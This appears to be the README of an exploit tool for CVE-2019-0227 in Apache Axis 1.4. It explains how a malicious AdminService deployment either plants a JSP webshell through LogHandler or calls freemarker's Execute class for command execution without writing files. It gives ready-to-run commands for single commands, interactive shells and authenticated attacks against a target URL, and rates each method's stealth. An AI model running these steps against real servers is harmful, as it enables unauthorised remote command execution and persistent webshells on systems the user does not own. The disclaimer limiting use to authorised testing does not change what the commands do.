
Outil d'exploitation de la vulnérabilité d'exécution de commandes à distance Apache Axis1.4 - CVE-2019-0227, prenant en charge la randomisation du nom de service et du nom de fichier Webshell
Une vulnérabilité d'exécution de commandes à distance (CVE-2019-0227) existe dans Apache Axis 1.4. Lorsque la propriété enableRemoteAdmin est définie sur true, un attaquant peut déployer un service malveillant via l'interface AdminService, permettant d'exécuter des commandes système arbitraires sur le serveur cible.
Versions affectées : Apache Axis ≤ 1.4
Condition de déclenchement : enableRemoteAdmin défini sur true
cd jsp-webshell
python3 axis_exp.py -u http://target.com:8080/axis/ -c "whoami"
cd freemarker-exec
python3 axis_freemarker_exp.py -u http://target.com:8080/axis/ -c "whoami"
pip install requests urllib3
Axis1.4-CVE-2019-0227/
├── README.md
├── jsp-webshell/
│ ├── axis_exp.py
│ └── README.md
└── freemarker-exec/
├── axis_freemarker_exp.py
└── README.md
Cet outil est destiné uniquement à la recherche en sécurité et aux tests autorisés. L'utilisation non autorisée de cet outil pour attaquer un système cible est illégale. L'utilisateur assume l'entière responsabilité juridique.
Licence MIT
Déploie un service malveillant via Axis AdminService, utilise LogHandler pour écrire un JSP Webshell, puis exécute des commandes via des requêtes GET.
部署恶意服务 → LogHandler 写入 shell.jsp → GET 请求执行命令
# Exécuter une commande unique
python3 axis_exp.py -u http://localhost:8080/axis/ -c "whoami"
# Shell interactif
python3 axis_exp.py -u http://localhost:8080/axis/ -i
# Avec authentification
python3 axis_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i
Déploie un service pointant vers la classe freemarker.template.utility.Execute via Axis AdminService, appelle directement sa méthode exec pour exécuter des commandes système, sans écrire aucun fichier.
部署 Execute 服务 → 直接调用 exec 方法 → 命令执行结果通过 SOAP 响应返回
freemarker.jar doit être présent dans le répertoire WEB-INF/lib/ de l'environnement Axis cible (fourni par défaut avec Axis 1.4)# Exécuter une commande unique
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -c "whoami"
# Shell interactif
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -i
# Avec authentification
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i
freemarker.jar sur la cible| Méthode | Script | Principe | Écriture de fichier | Discrétion |
|---|
| Méthode 1 : JSP Webshell | jsp-webshell/axis_exp.py | Écrit un JSP Webshell via LogHandler | ✅ Oui (écrit un fichier) | Faible |
| Méthode 2 : Exécution directe Freemarker | freemarker-exec/axis_freemarker_exp.py | Appelle directement la classe Execute de Freemarker pour exécuter une commande | ❌ Non (aucun fichier écrit) | Élevée |
| Paramètre | Description |
|---|
-u, --url | Adresse du service Axis cible |
-c, --command | Exécuter une commande unique |
-i, --interactive | Mode shell interactif |
-U, --username | Nom d'utilisateur pour l'authentification Basic |
-P, --password | Mot de passe pour l'authentification Basic |
| Paramètre | Description |
|---|
-u, --url | Adresse du service Axis cible |
-c, --command | Exécuter une commande unique |
-i, --interactive | Mode shell interactif |
-U, --username | Nom d'utilisateur pour l'authentification Basic |
-P, --password | Mot de passe pour l'authentification Basic |